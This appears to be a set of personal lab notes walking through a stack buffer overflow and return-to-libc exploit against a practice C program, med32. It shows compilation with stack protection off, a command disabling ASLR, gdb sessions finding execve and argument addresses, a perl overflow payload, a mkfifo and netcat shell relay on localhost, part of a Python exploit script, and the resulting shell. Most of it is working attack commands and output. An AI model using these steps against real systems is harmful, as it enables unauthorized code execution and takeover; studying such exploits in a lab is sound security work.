fgsahoward

/**
 * Compile:
 *   32-bit:
 *      gcc -o med32 -m32 -fno-stack-protector med.c
 *   64-bit:
 *      gcc -o med64 -fno-stack-protector med.c
 *
 * Turn off ASLR:
 *      sudo systctl -w kernel.randomize_va_space=0
**/ 

fgsahoward

[howard@sterling bof]$ gdb -q ./med32
Reading symbols from ./med32...(no debugging symbols found)...done.
(gdb) b *main
Breakpoint 1 at 0x8048504
(gdb) r
Starting program: /home/howard/repos/bof/med32 

Breakpoint 1, 0x08048504 in main ()
(gdb) x/i 0xf7eac7c0
   0xf7eac7c0 <execve>:     push   %ebx

fgsahoward

[howard@sterling bof]$ gdb -q med32
Reading symbols from med32...(no debugging symbols found)...done.
(gdb) b *main
Breakpoint 1 at 0x8048504
(gdb) r /bin/sh -p
Starting program: /home/howard/repos/bof/med32 /bin/sh -p

Breakpoint 1, 0x08048504 in main ()
(gdb) x/xw $esp
0xffffda1c: 0xf7e12196

fgsahoward

[howard@sterling bof]$ perl -e 'print "A"x0x408, "B"x4, "\xc0\xc7\xea\xf7", "C"x4, "\x46\xdc\xff\xff", "\xb8\xda\xff\xff", "c4\xda\xff\xff"' > exp
[howard@sterling bof]$ gdb -q med32 
Reading symbols from med32...(no debugging symbols found)...done.
(gdb) r /bin/sh -p <exp
Starting program: /home/howard/repos/bof/med32 /bin/sh -p <exp
Enter some text: Your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

fgsahoward

$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f

fgsahoward

[howard@sterling bof]$ cat input | /home/howard/repos/bof/med32 /bin/sh -p 2>&1 | nc -l 127.0.0.1 -p 1234 >input

fgsahoward

[howard@sterling bof]$ pidof med32
1929
[howard@sterling bof]$ sudo gdb -q ./med32 1929
Reading symbols from ./med32...(no debugging symbols found)...done.
Attaching to program: /home/howard/repos/bof/med32, process 1929
Reading symbols from /usr/lib32/libc.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
0xf7fd8c99 in __kernel_vsyscall ()
(gdb) x/xw 0xffffdab8
0xffffdab8: 0xffffdc37

fgsahoward

import os
import sys
import struct
import socket

word_size = 4
execve_address = 0xf7eac7c0
argv_zero_address = 0xffffdc37
argv_address = 0xffffdab8
envp_address = 0xffffdac4

fgsahoward

[howard@sterling bof]$ python exploits/med32_exp.py 127.0.0.1 1234
b'Enter some text: '
# whoami
b'howard\n'
# ls
b'core\neasy32\neasy64\neasy.c\nexp\nexploits\ngdb-env\ngdb-s.env\nhard32\nhard.c\ninput\nMakefile\nmed32\nmed64\nNOTES\noutput\nshellcodes\nshell.env\nshell-s.env\ntools\n'

fgsahoward

[howard@sterling bof]$ gcc -o med64 -fno-stack-protector med.c
[howard@sterling bof]$ ../rp/rp-lin-x64 -f ./med64 --atsyntax -r 3
Trying to open './med64'..
Loading ELF information..
FileFormat: Elf, Arch: x64
Using the AT&T syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.